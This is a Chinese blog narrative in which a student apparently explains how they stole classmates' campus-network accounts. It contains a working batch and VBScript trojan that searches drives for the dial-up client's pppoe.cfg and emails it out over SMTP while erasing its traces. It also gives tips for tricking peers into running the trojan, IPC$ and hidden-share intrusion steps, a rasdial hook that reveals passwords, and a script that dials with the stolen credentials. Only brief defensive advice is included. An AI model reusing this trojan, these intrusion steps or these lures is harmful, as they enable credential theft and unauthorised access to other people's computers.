虽说入校之后就知道有校园网这么一个东西,但从未关注过,因为那时自己都还没电脑,所以也就没考虑过有没网上这事了。依稀记得,校园网拨号客户端应该是在大一的那个暑假开始使用的。那会儿自己正在整协会的《电爱专用版系统V1.0》,因为要实现各种个性化,对资源的更改自然有些了解了,那会儿学会了用‘资源黑客’等资源编辑工具。因为有了一个校园网拨号客户端,一打开就显示什么安腾网络来着,觉着特烦,就想着把这东西换了改成自己想要的样子。于是,用Reshacker载入,却发现改不了,就觉着很奇怪,因为先前改的windows系统文件都可以的,于是找到了Pexplorer,载入后发现还是一样的。在对话框那显示可能为压缩资源。压缩资源,什么是压缩资源呢?原因是什么呢?百度告诉我,它加壳了。接着百度找脱壳方法,用百度给我的方法给他脱壳了,但还是不知道其中的原理,接着百度,于是,壳、PEID、OD、暴力破解、注册机等等这些字眼全浮现在眼前。这应该是第一次接触这些东西。脱完壳之后自然能够替换资源了,于是找了张照片改好大小等格式后放上去,结果发现……
上面的这张图片还是原封不动的呆在那里,这是怎么回事?纠结了很久,没能找出原因,只能怀疑资源编辑工具中能够看到的资源是有限的(因为先前改灰鸽子的时候,也出现过图片替换问题)。就暂时放弃么?不行,肯定是有原因的,这图片肯定在某一个地方(程序中和程序外部)。既然我们的资源编辑工具看不到,那我们就勉强的相信它不再程序内部吧,那么,它应该在外面。那么,在哪呢?寻思着,它肯定不能放在我们经常去的地方,那么应该是在系统盘,于是打开C盘,F3,输入*.jpg,搜索,发现没有找到那张图片。输入*.bmp,搜索,在结果中,我们看到了上面的这幅图片,找张图片把它换了,再打开客户端,发现是例外一个模样了。(Ps:拨号客户端打开后显示自己的照片方法:打开C:\windows文件夹,找到pedu_look.bmp,然后用图片制作工具根据它的尺寸大小做一张图片,替换它,所谓替换就是,删除原先的pedu_look.bmp,然后把自己的图片改名为pedu_look.bmp,放到以前pedu_look.bmp的位置中。这样,就有了你的个人版拨号客户端了)
因为那个学期自己正在带协会,而且,也因为有学长们发现的amt_share断线重播漏洞和好心人借我的账号用,所以,也没再去理它了。(Ps:amt_share断线重播漏洞:校园网服务器有一个默认的用户名为amt_share,不需要密码也可以拨上号的,但由于是用来给你检测你的剩余可用时长和你为什么拨不上号用的,所以它每隔两三分钟会断一次)。
Chapter 2——文件的作用
因为有点忙,也因为一直有网上,所以也不可能有技术性的突破。这就是所谓的“死于安乐”吧。整个大二上个学期,估计也就只是做了前面那些事吧。
后来,amt_share断线重连被封锁了,而且觉着老跟别人要别人的网号也不好吧。于是,开始看了看这个拨号客户端(这就是所谓的“生于忧患”?)。虽说没怎么去研究它,但先前改资源的过程还是让我对它有了些了解。安装之后,盘里会多生成这么些文件
注意,其中是没有pppoe.cfg的。那么,我们来了解一下这些文件各自的用处吧。
1. Httpdownloads.exe:我估摸着应该是什么下载或者升级的程序,反正有它没它程序都能运行,所以也没去研究过,总觉得好像某些系统装好之后,c盘根目录下就存在了这么一个东西。
2. install.log:也就是安装留下的记录文件,没记错的话,这个文件还可以用作卸载的时候。当然,既然是安装记录,那么,我们前面那个步骤中提到的外部文件应该是在安装的时候解压到C盘的,那么,这里应该也会有记录,我们看看。果然有记录。其实,这个时候我们也可以通过某些路劲去打开这些文件,看看有什么发现没。细心点,你会发现,在上一章节中我们提到的amt_share检测账号就在我们的C:\WINDOWS\pcheck.txt中。(如下图)
3. 说明文件和主程序就不用多说了。然后那个驱动修复的,也是在当你pppoe协议出现问题的时候,进行修复用的。有时候,当你拨不了号,可以在不重装客户端的情况下用这个东西解决(修复成功的概率极小~_~)
之后,我们会发现,在我们拨上号之后,文件夹里面会生成一个pppoe.cfg,根据高中生物实验中的,变量控制推论,我们可以推测,这个pppoe.cfg肯定是与账号有关系的。里面或许就是保存着我们的账号和密码。于是,从旁边电脑上COPY过来一个pppoe.cfg,往里面一放,然后运行主程序,发现,果然是这样子的,也就是说,主程序是通过读取pppoe.cfg得到先前存放的用户名和密码的。再根据唯一变量推论,我们可以知道,这个pppoe.cfg文件还起到控制是否勾选“保存密码”和“自动拨号”的功能。那么,也就是说,我们只要得到了别人的这个pppoe.cfg,我们就可以得到他的账户和密码。
Chapter 3——我要pppoe.cfg 在上一章中,我们知道了pppoe.cfg的作用了。但问题来了,我们怎么去得到这个pppoe.cfg呢?或者,就像我再给咱电爱上课时问的:我怎么得到他的密码?能想出多少怪招都行,只要你能想的到的。物质决定意识嘛~~~
1. 坐在他旁别,看他输入密码。此谓之偷窥法,但是,我滴乖乖,人家选择的是保存密码,并不需要重新输入。你不是白坐在那里了。
2. 千方百计的要他主动给你你想要的文件。Eg:你说你拨号软件出错了,要他把整个文件夹拷贝给你。此谓之社会工程学。前提是你得赢得他的信任,而且他是电脑白痴。鬼都知道要拷贝也是拷贝安装文件的啊。(说不定他给你一个快捷方式^_^)
3. 如果他很吝啬,不允许有东西从他这里出去怎么办?那你就给东西给他,你给出的这个东西能给你带来你想要的东西。此谓之木马法。给他一个文件,告诉他这是你的XXX,他一感兴趣了,激动了,运行了,你就可以得到你要的了。
4. 如果他的对外接口是个封闭的,即不进也不出。那,我们就得主动的进去了。此谓之攻击法。
a) 趁他不在电脑旁的时候把文件拷贝出来。要是他离开电脑就关机了,而且,还设密码怎么办?最关键的是,这个范围也仅限于几个玩得好的,那没意思不。
b) 不管他在不在电脑旁都要把文件拷贝出来。通过什么方式呢?无非就是入侵了。……(同时意识依赖于物质,所以那些意识大于物质时候的、颇具创造性的方法我就先不说了,懒得打字……)
总之,通过上述的各种手段,我收集到了几个账号。也勉强能够用上一会儿。那么,从意识到物质,中间是有实践的过程的,在后面的章节中,我们会发现,实践真的可以把意识直接变成物质,实践也是认识的终极来源——实践出真知。
【校园网那些事 —— 进阶篇】
Chapter 1——pppoe.cfg获取之木马法
我要得到pppoe.cfg,是的,我要得到pppoe.cfg,这是一个终极目标,我所有的努力都是为了得到这个(得先明确目标),上面也说明了有些什么方法可以让我们达到目的。首先偷看法我们就不说了,我没做过,没经验……我们就聊聊社工加上木马吧。
所谓社工就是,通过各种手段让别人对你建立起一种信任感,利用这份信任感,达到你想获取的信息。其实说白了就是欺骗。有想深入了解的可以看看凯文·米特尼克的《欺骗的艺术》。我们用木马的办法就是,骗他运行木马(让木马自动运行是入侵中最终极的目标,先不谈他)。
那么,这个木马要实现什么功能呢?毫无疑问,我们是要pppoe.cfg的,那么它要实现的功能就是,把对方电脑中的pppoe.cfg放到我电脑上。要实现这一任务的方法也有很多种。大家可以自己尽可能的去想。反正这个木马得有这么两个功能:
1. 是否存在pppoe.cfg。
2. 如果存在,则将pppoe.cfg送到我电脑上。
第一个功能倒好实现,一个磁盘遍历可以解决问题了。可第二步呢?有什么方法呢?其实也很多,比如:
1. 我自己建立或者申请一个FTP空间,让程序将文件put到空间中。
2. 发邮箱吧,后台发送。
3. QQ文件传输?动作太大,而且,人家要是不是你好友怎么办?
4. 将它的文件夹共享,然后我们手动去找?太麻烦了。
所以,总结出前面两个容易实现一些,当然,你们也可以用其他办法,甚至看完我的方法之后,自己再用其他的语言实现。
我选择了用bat+vbs来实现我想要的功能?用bat是因为可以将bat文件转化为exe文件,从而方便捆绑。由于用bat实现邮件的发送,有很大的困难,所以,像我这种初级的脚本小子能想出的折中办法就是把bat和vbs结合起来了。代码及分析如下:
以下是bat片段:
@echo off ::关闭回显 set "FileName=pppoe.cfg" ::变量FileName赋值为pppoe.cfg for %%a in (C D E F G) do ( ::cdefg盘循环查找文件 if exist %%a:\nul ( pushd %%a:\ for /r %%b in ("*%FileName%") do ( if /i "%%~nxb" equ "%FileName%" ( ::如果找到了 copy "%%b" c:\System.cfg ::将pppoe.cfg复制到c:\system.cfg goto:mail ::跳转到mail ) ) popd ) ) ::前面主要实现的是一个遍历过程 :mail (echo do …… echo loop)>C:\System.vbs ::所有的echo后的字符全部打印到c:\system.vbs中。也就是实现生成一个vbs文件,内容为括号中除echo的部分 c:\system.vbs ::运行system.vbs del C:\System.vbs ::为了不留下痕迹删除之 |
其中echo do到echo loop之间的内容如下:
以下是vbs片段:
do set objh=Createobject("MSXML2.XMLHTTP") objh.open "GET","http://www.baidu.com",false objh.send() if objh.statustext = "OK" then NameSpace = "http://schemas.microsoft.com/cdo/configuration/" ‘检测是否联网 Set Email = CreateObject("CDO.Message") , ; ‘创建一个Object Email.From = "发送方邮箱地址" ‘发送方邮箱地址 Email.To = "接受方邮箱地址" Email.Subject = "邮件主题" Email.Textbody = "邮件内容" Email.AddAttachment "c:\System.cfg" ‘要发送的附件
With Email.Configuration.Fields .Item(NameSpace&"sendusing") = 2 .Item(NameSpace&"smtpserver") = "smtp.163.com" ‘如果你是其他的邮件服务器就改掉 .Item(NameSpace&"smtpserverport") = 25 .Item(NameSpace&"smtpauthenticate") = 1 .Item(NameSpace&"sendusername") = "发送方用户名"
.Item(NameSpace&"sendpassword") = "发送方密码" .Update End With Email.Send ‘发送邮件 wscript.quit End if set objh=nothing wscript.sleep 1000 loop |
把它整合到一个批处理文件里面,再用工具转换为exe文件,可能你会问为什么要转换,首先,你也知道的,在这个上面有你邮箱的账户和密码,要是被别人知道了,会怎么样呢?其次呢,就是上面提到的,方便捆绑,估计现在上网的都有点常识,不随便运行别人发送的exe了。捆绑之后,就生成了我们想要的木马了(免杀什么的都是后话,自己才写出的东西就被添加到病毒特征码数据库的可能性也太小了吧)。
之后,就是你骗人的水平体现的时候了。前提是,运行这个文件的电脑是在我们学校的。不然,人家电脑上也不可能有这么一个pppoe.cfg在等着你啊。比如:在你班上或者协会QQ群共享里说这是你私密照片。比如:建立n曾目录,说是一个礼物,然后对方狂点一顿之后一不小心就运行了你的木马。比如:在校园网上上传附件。比如,更多邪恶的办法等着你去创造……
在这个过程中,我学会了bat遍历目录找文件的方法,学会了vbs发送邮件的方法,学会了如何巧妙的将两者结合,知道了for命令伟大的作用。这都是实践告诉我的。
在这里要提醒大家一个网络安全小常识:不要随意打开别人发过来的任何东西,虽说杀毒软件不是万能的,但是,物质的存在必然有它存在的价值,我们就姑且用它先一探究竟吧。
For命令详解:http://blog.sina.com.cn/s/blog_6f8dff020100n8a5.html http://blog.163.com/wangxiaoqiang2004@126/blog/static/107610443201031625318755/
Chapter 2——网络拓扑
几乎每一个了解黑客技术的孩子都是从局域网入侵中走过来的。通过局域网了解网络拓扑,了解一些基本的网络的概念。每当他们到接触到网络,他们都恨不得想知道,哪根网线接到哪去了。网络对于他们来说,就像是一个生活的环境,每当接触到一个新的网络,就像是搬到了一个陌生的城市,对他们来说最急切的,就是先搞清楚这座城市的每一条路。要不然,改天找不到回家的路了怎么办?而一个城市的车站,就相当于这个城市与外界的接口,就相当于我们某一个局域网中的路由或者交换机了。
可悲的是我这个伪黑客,居然在这个网络中生活了两年还没能够弄得清楚学校的大体网络结构。只能够凭空猜测着,它应该是这样子的:
学校的主服务器群
主路由器
各楼栋交换机
各楼层交换机
各寝室交换机
……
当然,这也只是猜测,反正,有一点可以肯定:我们一直是处于内网当中。我们通过校园网认证服务之后得到的ip地址也是由学校分配的a类地址。
一次无意间拿出lansee想扫一下寝室几个哥们的共享。无意间发现,在连上网之后,我们可以扫出同一网段的所有在线的电脑。也就是说,在我们拨上号之后,我们得到了一个A类的IP地址,而且,在学校内部我们之间的通信就是通过这个IP进行的。也就是说,我们在同一个网段中。也就是说!我们在同一个大一点的局域网中。
真的是这样子的么?我们用局域网入侵的方法试了几个同一网段的机器,发现推理没错。那就是说,我们的攻击方法也就实现了。我们可以用局域网攻防来实现盗号。
那,如果我们不是在同一个网段呢?拿出扫描工具,把整个10.0.x.x的网段都扫了一遍,发现,畅通无阻。也就是说,当我们拨上号之后,我们所有能够上网的人,实际上是在一个VPN(虚拟专用网络)中了。
既然我们能够把它想象成一个局域网,so,what can we do?
Chapter 3——pppoe.cfg获取之网络攻击法
上面既然证实了咱们确实是在同一个局域网中,那么,曾大行其道的局域网入侵的方法,是否能够用得上呢?
先看看最常见的IPC$吧。IPC$(Internet Process Connection) 是共享 " 命名管道 "的资源,它是为了让进程间通信而开放的命名管道,通过提供可信任的用户名和口令,连接双方可以建立安全的通道并以此通道进行加密数据的交换,从而实现对远程计算机的访问。
详见百度百科:http://baike.baidu.com/view/528303.htm
命令格式是:net use \\IP\ipc$ “pwd” /user:username
建立成功之后就会返回命令成功,也就意味着,你的可以有一定的权限控制他的电脑了。之后我用命令:net view \\ip 可以查看对方共享了一些什么,如果别人的c盘都共享了,那么他安装的校园网拨号客户端的文件夹是不是就可以被你访问呢?那么,你是不是就可以把你想要的pppoe.cfg复制出来呢?不过,我们都不傻,不会让我们的电脑中存在着一个手托着的C盘(C盘共享),如果他不共享,我们仍然不能访问到我们想要访问的文件,怎么办呢?前面说了,如果ipc空连接建立成功,代表我们有一定的权限访问并且控制机器,那么我们是不是也就可以给对方开一个共享呢?如果可以,我们又要怎么去开共享才不会像上图那样明显的会被发现呢?
这时,我们要引入一个叫做“默认共享”的概念,也就是以“$”作为共享名的最后一位去共享某一个文件夹,这样子的话,在我的电脑里面看到的c盘,就不会有任何异常。(默认共享:http://baike.baidu.com/view/1296452.htm)但是一般情况下我们用net view \\ip是看不到对方开放的默认共享的。
于是,我们的步骤如下:
1. 在“我的电脑”上右键,选择“管理”
2. 在弹出的管理界面中,找到“连接到另一台计算机”
3. 然后在这里输入我们要入侵的IP地址
4. 之后在共享中,看看有没有我们要的盘符,如果没有,我们可以右键新建共享
5. 在弹出来的界面中如下图填入
这样,你就成功的给对方的电脑添加了一个默认共享。那么我们要怎么运用他呢?怎么打开呢?我们可以直接在地址栏输入:\\IP\共享名来打开我们刚才新建的共享,如果是像我上面填写的,那么,我们就打开了他的C盘,就像在本地打开一样的。那么,你接下来要的也就只是找到pppoe.cfg并且把它复制到你本地就行了。
这也是我们最常见的局域网入侵方法,那么,怎么去防止呢?
1. 给电脑设一个稍微不常见的密码。像123456、888888等这种被称作弱口令的东西在每一个扫描工具中都涉及了的。要想安全,给自己设个密吧
2. 其实系统自带的防火墙也不是那么差,我做过实验,在开通防火墙的情况下,上面的步骤全部失去了意义
3. 关闭默认共享
(五种方法:http://jingyan.baidu.com/article/5d368d1e3927983f60c057b0.html)自己看吧
4. 关闭IPC$默认共享连接
(http://wenku.baidu.com/view/0de41385ec3a87c24028c4ef.html)
(由于是记录教程的形式,也不想涉及太多,所以什么端口问题就先不谈了,有兴趣的可以自行百度了解)
由于这些东西老早就知道了,所以相对来说,这个过程中的收获的确不大,除了拿到了一批pppoe.cfg之外。
Chapter 4——pppoe.cfg改名的故事
经过上面的步骤之后我们就得到了传说中保存了账号和密码的pppoe.cfg了。(虽然良心不安,但还是安慰自己说,我只是充分利用资源,只是在他忙的时候使资源充分利用)。记得在前面说过,我们用把复制下来的pppoe.cfg是放在主程序旁边运行, , 的。而且,名字要是pppoe.cfg,是别的可不行。那,我们就只有把它改名字了,给它一个编号,1、2、3、4……然后,在我们要用拨号的时候,再把它名字改为pppoe.cfg。
看起来是可行的哈,但你也知道,不可能你随便找用一个改名字就可以拨上号了,原因很简单,可能你用的这个cfg是没有勾选保存密码的,可能这个cfg的主人自己正在上网,也有可能因为你经常用这个号,别人改密码了。所以……我们必须得不停的改名字,不停的实验,直到拨号成功。可能当你只有几个号的时候还可以忍受不停的改名字,但等你的账号越来越多而且你无法确定对方是改密码了还是暂时在线的时候,你绝对会为每次拨号改名而烦恼的。
当然,或许,你会说,我们用其他的方法,比如,我都建几个文件夹,每个文件夹里面放一个cfg文件和一个主程序。当然,这也是可行的。
但我想说的是,像这种机械化的工作真的是由我们来做么?一直以来在我的印象中,软件,就是为了帮人们把重复机械化的工作承担了。那么,我们用软件来实现它吧。
提到了软件,那么你想到了什么?自动改文件名、然后运行软件?
最终,这个问题一直就这么搁置着,因为,对于这么一个软件,我一直没能给他一个准确的定位,它仅仅是拨号客户端的一个辅助软件?还是要承担拨号的责任?
而且,在这个阶段,我们发现,在拨号的时候,我们的宽带连接是在进行拨号的,但是当我们把主程序里面显示的账号密码往系统自带的宽带连接输入,然后点击拨号的时候,返回的却是错误691。也就是说,这个不是我们真正的账号和密码。
那么,如果我们找到了真正的账号密码,是不是可以写一个循环拨号的软件,来简化我们改名的这个事情呢?当然,这是后话,因为,那时候我们甚至还并不知道它是怎么进行拨号的,到底有没有这么一个真正的账号密码存在还是一个问题。所以,这些也只是猜想,也是一种意识。
Chapter 5——共享上网
* 当然,在那个没有账号的时代里,我们想的更多的是,怎么从另外一个方面去充分利用账号的资源。比如,我发现大家想的最多的是:如何共享网络。甚至,很多人希望能够让自己的手机用上校园网,来缓解流量压力。
是啊,很多人都问过我这个问题,怎么去共享网络呢?
经过了这么久,无数人的摸索,传到我耳朵里的,我能知道的有下面这几种。没提到的还请读者前来补充。
1. 如果你和一个有账号的同学都是用的是笔记本,那么很好。把他的电脑用有线网卡拨号上网之后,把他的笔记本设置成一个AP热点。然后,你搜索到他的无线网络就可以共享了。设置方法:
http://wenku.baidu.com/view/7020ad04de80d4d8d15a4f73.html
2. 更多人能够想到的就是路由器了。是啊,路由器是个好东西。不仅可以让台式机共享起来,还能够用无线路由让笔记本和手机都用上,何乐而不为呢?但我们深切的知道,我们系统自带的宽带连接都没法拨上号,路由器的原理是一样的,他也不可能拨上号的。除非它能够用上我们的蝴蝶、也除非我们能找到真实账号密码,当然,这是YY。
3. 那会儿协会一干部,从网上找到了一个虚拟路由软件,装上之后发现也能够用起到共享的作用。下载地址:(http://www.onlinedown.net/soft/43145.htm)设置方法之类的就不罗嗦了。
4. 那会儿,我花了一个下午泡在图书馆六楼,找局域网方面的书籍、有关网络共享方面的知识。全部用了个遍,还真没发现其他很好的办法。
Chapter 6——汇编语言
因为一直对黑客技术感兴趣,硬盘中自然也少不了一些黑客方面的教程。可以说是一个指引吧,让自己知道这一方面还有多少知识等着你去学习。记得在大一的时候,因为知道大二要开C,所以国二没报Access而是选择了VB,毕竟Access也只是一个软件,还不如多接触两门语言。考完国二应该是大一的下期,之后的时间就转头去看电子版王爽的《汇编语言》,不过,你也知道,电子版的书籍看起来着实不爽,但这本书在我去过的书店都没找到过,直到那个暑假,终于在宁波图书馆买回来了。然后,在那个暑假,如饥似渴的看了一遍,但却发现,除了知道了各个指令的作用、堆栈、内存等一些概念之后,根本没能用得上,更不要说像VB那样去给自己写一两个软件了。不过也正是这段经历,对后面学习逆向打下了一些基础。
无聊中,翻了一下硬盘中躺着的那些许黑客教程,发现了《黑鹰破解教程50课》。第一次看的时候由于时间问题,看了前面几课之后就没去看过了。但也算是一个了解,知道了一些破解思路、知道了壳的概念和脱壳的常用手法。在经历过上面的各种实践后,慢慢的觉得自己对破解、对脱壳也感兴趣起来了。于是,整个寒假把整套课程看了个遍,对照着三人行老师的讲解把其中的各个例子自己再练了一遍,也算是对破解了解了个大概吧,也是那是知道了看雪。看完后觉得自己浑身充满了力量,觉得自己真的挺不错了,然而随随便便下下来一个收费软件,左捣右弄了个把礼拜(主要是三人行老师说:脱壳、破解必须要有非同一般的耐心!于是,记住了~),发现自己尽奈何不了它。于是,自觉的把高昂的头颅低了下来,继续学习吧。
Chapter 7——第一次交手之网络嗅探
在chapter5中的第二个思路中谈到了共享上网,也谈到了想在linux下不通过wine虚拟windows后拨号上网,最主要的是智能手机越来越多了。大家都希望在寝室能直接用无线路由,在学校wifi覆盖的地方直接使用自己校园网的账号密码上网。
但是,一直困扰着我们的就是这个pppoe拨号客户端了。或许有人试过,用自己开通的账号密码直接在宽带连接里面去拨号,结果是肯定拨不上的。于是乎,这个蝴蝶的作用就成立大家心里的一个谜。
首先,我们能给出这么一些猜测:
1.它只负责对原先的账号密码通过一定算法进行转换,也就是对它们进行加密之后得到的密文在服务器端验证。
2.它是软件开发公司自己开发的一套拨号程序,用的自己的协议,必须用自己的软件才能拨上号。
事实到底是什么呢?只有通过实践去检验了。记得每次成功上号之后在屏幕的左下角会弹出一个气泡来提醒,已建立连接。于是,进网上邻居的属性里看了下,发现里面多了一个以“PPPOE-”开头的拨号适配器连接,看名字后面的一串字符可以判断是网卡型号。那么这个东西是怎么建立起来的、什么时候建立起来的呢?
继续用变量控制法,先断开连接,而后再删除以创建的连接。再打开蝴蝶,点击拨号。然后,看到了这个拨号连接在我眼皮底下建立,之后连接上了。我滴乖乖,它是如何连接上的呢?再次断开,把账号密码往里面输入。一拨号,始终错误691。嗯哼,不由自主滴,对上面的两种猜想更偏向于第一项了。(而后的实践证明,的确是第一项。)
既然,既然觉得他只是加密了,那就是说我们只要知道加密后的账号密码也就行了。怎么找呢?既然是拨号,也就是要把自己的真实账号密码发送到服务器端进行验证。也就是说,它不会在发送的途中加密、不会在服务端加密,必须是加密后发出去的。既然是加密后出去的,那我们是不是可以对自己本机发出的数据进行监视,然后找出拨号发送出去的数据包来进行分析呢?
想法是绝对没错的,于是在电脑里翻出好久没过用的sniffer pro,对网卡进行嗅探。在结合了网上各种教程再加上自己的一系列尝试之后,成功获取到了request value (密码)以及name (用户名)。知道pppoe拨号原理的同学应该知道,pppoe拨号的鉴定有两个方法,一个是明码形式的PAP、一个是加密形式的 MD5 CHAP(Message Digest AlgorithmChallenge Handshake Authentication Protocol)即信息摘要算法挑战握手认证协议。看名字就很长,实现方法就更变态了。
很不巧,该死的校园网用的就是后者,更关键的是,这个request value=hash(identity+密码+challenge)(意思是:得到的request value是由一个identity的认定值连接真实密码、再连接一个每次拨号都不同的挑战值challenge,将前面三者连接号之后再进行md5加密。而且,嗅探得到的challenge居然也是通过md5加密了的),所以,想要通过这个方法把真实的密码还原出来看样子是无望了。
怎么办呢?还有什么办法能够得到这个真实的密码呢?我们早就知道了pppoe客户端的安装目录下有一个叫做pppoe.cfg的配置文件,而且知道这个东西是用来存储我们输入的用户名、密码以及自动连接和记住密码的一些选项配置信息的。它里面存放了我们想要的真实账户和密码么?用winhex打开该文件,对着一串16进制的数字苦思冥想了很久,无果而终……
难道,真的就没有办法了?
Chapter 8——第二次交手之HOOK
办法应该还是有的,只是个人技术有限吧,也或许只是暂时性的思维短路没想到。先去吃个饭吧。回头再研究,一切打不死我的,都会让我更强大的~~
吃着吃着,突然发现了这么一个问题,为什么我们在拨号的时候没有看见宽带连接的界面?而且它能够连接上去?
于是随之就想到了一个词:“函数”,而且是基于系统的API函数(学过编程的孩子应该都知道这个东西,不知道的百度吧。)我们可以直接调用函数把我们的用户名和密码对函数进行赋值,并由函数来发起这个连接,如果连接上了返回给pppoe客户端一个值,让他显示连接成功,else……
于是,灵光一现。我们可以利用传说中的“钩子”。当启用这个函数的时候,在给这个函数传递参数前,我们先截获它,并且把它的值printf出来。于是,开动……
由于技术有限,那时的自己也还没到能写出hook程序的技术层面,于是,又是在网上一顿搜索,还好找到了一些东西,拿下了微软在某个时期放出的setdll.exe(detours的dll注入程序)几经周折终于还是把它给编译出来了。又在网上找来了某个大神编译好了的HookXKapi.dll,专门获取电信的星空极速的真实密码的动态数据连接库。然后,在命令提示符里忐忑的敲下setdll /d:HookXKapi.dll rasapi32.dll。再次运行蝴蝶,一点拨号,这次弹出的不再是以往的拨号成功或者失败了,首先显示:
这是因为,HookXKapi.dll的作用是在调用rasdial时候,首先中断下来,然后把要传输进去的参数显示出来,之后在点击上面对话框中的关闭后,再把参数传给rasdial进行拨号。
于是我们就获得了真实的账号密码了,就可以直接用得到的真实密码以及自己的账户进行宽带连接了。对于很多安卓手机用户来说,要的就是这个了。其实,校园网迟迟不发安卓版的pppoe客户端,问题也就在这里了,通过安卓程序的源代码,可以很快的知道我们真实密码。这样,路由器就会在学校多起来了,直接侵犯到他们的利益了。
这个过程中,学到的东西也还算多吧,第一次自己手动hook(虽然不是自己写的程序),但也算是一次经历吧,也了解到了pppoe拨号的整个过程,也重温了sniffer pro的使用。在之后的文章中会很详细的把上面所有的方法的原理一步一步的解释清楚的。
Chapter 9——第一次利用之自动拨号
在chapter8中,我很幸运的找到了方法把校园网账号的真实密码找到了,也看得出程序是只对密码进行加密(这也验证了马克思原理中的实践与认识的关系,即:实践→认识→再实践→在认识),同时,我们用hook得到的真实密码直接在宽带连接里面拨号,发现是可以成功的。那么,它的加密算法是什么呢?如何解密呢?于是乎,我们把密码设置为1拨号一次,12拨号一次,……如此之后得到0-9是个数字的密文。如下:
以下是引用片段:
0→48
1→c8
2→49
3→c9
4→58
5→d8
6→59
7→d9
8→68
9→e8 |
对着上面这串东西,我左看右看就是看不出算法,唯一可以推出个位是8899的循环,然后十位是4c4c5d5d6e6e7f7f8g8g9h9h。那9后面应该是什么呢?不得而知也。当然,这也不是我们这一章要说的东西。只是在这里做个引子,后面会讲到如何找出它的加密算法。
而前面被我们否决的chapter5中的第二个思路,现在也可以利用了,当然,这个也不是我们这章要说的东西。
还记得在【进阶篇】chapter4中提到的一个纠结的事情么?是的,里面有想过写一个循环拨号软件,而且,在其中还曾抱怨过没有真实的密码。但是现在不同了,我们找到了这一个密码,那么,后面的事情就是写出这么一个软件了。
于是,再次很无奈的把盗取获得的一个个pppoe.cfg改好名字,然后放到目录下面,一个个点击拨号,然后把真实的账号密码保存到一个txt文件中。之后就开始写软件了,那么,第一个问题是,这个软件的主要目的是什么呢?它应该要实现这么一个功能:把所有盗取的账号一次拨号,如果拨号不成功则换下一个账号,else退出程序。
So,有了需求了,下一个问题是,用什么语言来写呢?想一想自己会的东西也不多,就那么几个脚本语言,一个c一个vb,其余的也就停留在看得懂改的出的程度上。正在纠结的时候突然想起在windows下不是存在这一个叫做rasapi32.dll的库用来控制网络连接的么?百度一下看看,发现百度百科里面什么都没找到。唔,在我熟悉的两个语言里面调用拨号好像都跟rasdial有关,于是先看看cmd下能否运行呢。在命令提示符中敲入:rasdial /?弹出下面的提示。
那就是说存在这么一条命令咯。用法就是:rasdial “宽带连接的名字” 用户名 密码,也不知道对不对,于是拿了一个账号密码测试,发现成功了。也就是说,可以用命令来实现咯。可以拨号了,剩下的就是依次循环了。
在前面的文章中就有讲解过用for命令来遍历本地磁盘目录获取pppoe.cfg的做法,同时也了解了for命令的用法,于是,在这里就变得得心应手起来。花了近三个小时,各种调试后,写下了如下的可用代码:
以下是connect.bat文件中的内容:
::N代表读取文件中的账户的行数
::P代表读取文件中的密码的行数
::B代表手中有的账号数
@echo off
setlocal enabledelayedexpansion :: 变量延迟的启动
set N=-1 ::变量N初始化为1
set B=0
:continue ::continue子函数
set /a N+=2 ::N每次递增2
set /a P=N+1
set m=0 ::m、q为for循环中的控制变量
set q=0
for /f "delims=" %%i in (pppoey.txt) do (set /a m+=1 & set /a q+=1 echo !m! & if %n%==!m! set nam=%%i & echo !nam!
echo !q! & if %p%==!q! set pas=%%i & echo !pas!
) ::此处的for中以空格为间断点,依次从pppoey.txt中读取用户名和密码,存放到i和q中,并传递给nam,pas。
rasdial "PPPOE-Realtek RTL8169-8110 Family Gigabit Ethernet NIC" !nam! !pas! 1>nul ::此处实现拨号。若不成功,则执行set /a B+=1那条语句和后面的语句
2>nul && exit ::若成功则退出程序,此时已经拨上号了.
set /a B+=1
if %B% lss 10 goto continue ::这里应该是当时总共盗取了是个账号,然后如果数字小于10,则继续拨下一个账号
echo 没有可用的号子了,你得工作了!!! ::如果都没拨上,则提示
pause |
貌似是可以实现了哈,但那时不懂什么叫做程序员不能有洁癖。看着这么老长的脚本,看着这么多变量,心想,搞不定哪个变量稍微有问题程序就不能继续使用了。于是,继续想办法精简。这个过程就不写了哈,各种找资料后,又搞了一个多小时,写下了如下代码完美实现所需功能:
以下是引用片段:
@echo off
echo 开始拨号咯!!!
for /f "delims=, tokens=1,2" %%i in (pppoe.txt) do echo %%i&rasdial "connect" %%i %%j 1>nul 2>nul && exit
echo "没有可用的账号了,该工作了!!!"
pause |
也就是说,上面那段代码中所有的功能,在这里精简为一条语句:
以下是引用片段:
for /f "delims=, tokens=1,2" %%i in (pppoe.txt) do echo %%i&rasdial "connect" %%i %%j 1>nul 2>nul && exit |
来给你解释解释吧,for命令按照“,”pppoe.txt中截取两个变量分别赋值给i和j,然后在用rasdial进行拨号,不成功则继续下一行,成功则退出,此时电脑已连接上。当然前面那句echo %%i是为了让我们了解到现在在用拨那个号,不至于无声操作。
当然,在pppoe.txt中我们的用户名和密码必须是按照如下格式保存的:
以下是引用片段:
用户名1,密码1
用户名2,密码2
…… |
就这样,我成功的解放了双手,不用再每次都那么傻乎乎的去改名字了。当然,在重新盗取了账号的情况下,还是得一个个文件进行改名,然后在复制粘贴。虽然繁琐但却比先前减少了不少的工作量。但这个过程还是重复的,也就是说我们还可以通过其他办法把这一步也给它简化掉。当然,后文会给出方法的,这里也是一个引子。
那么,这个过程中,我学会了什么呢?嗯,对for的使用更加熟练了,要知道windows的各种命令中,for的命令算是很复杂的一个了。还有呢?嗯,解放了双手。但是,每次盗号都得自己去慢慢实现,似乎有点累哈……
Chapter 10——自动盗号1.0
前面写到哪了?嗯,翻翻,哦,找到了,到开始埋怨每次盗号都得去手动了。哎,人懒就是没办法,不过,世界上很多很好的发明不都是懒出来的么?不可否认,懒也能带来创造力。那么,怎么实现自动盗号呢?先来回顾一下前面的盗号原理。
流程如下:
1. 得到可建立ipc$空连接的ip
2. 建立连接
3. 查看是否有默认共享
a. 有→直接打开共享
b. 没有→则手动建立共享
4. 得到文件pppoe.cfg |
是的,没错,我们要得到的就是这个pppoe.cfg。这个就是我们盗号的终极目标。首先得是目标ip了,还得是可建立ipc$空连接的ip。先前是手动,通过一些扫描器来扫描得到ip然后……,那么现在要转换为自动了,我们该怎么实现呢?第一步,我们得知道校园网用的ip段是哪些?打开s扫描器花了个把两个小时对10.0.0.0-10.255.255.255一顿狂扫,只找在线的主机。大致确定了如10.0.48.0-10.0.51.255等11个ip段。之后呢?我们要做的就是在这么些个被分配的ip段里面找出可用ip了(至于为什么先确定可分配的ip段这个就不要解释了吧)。
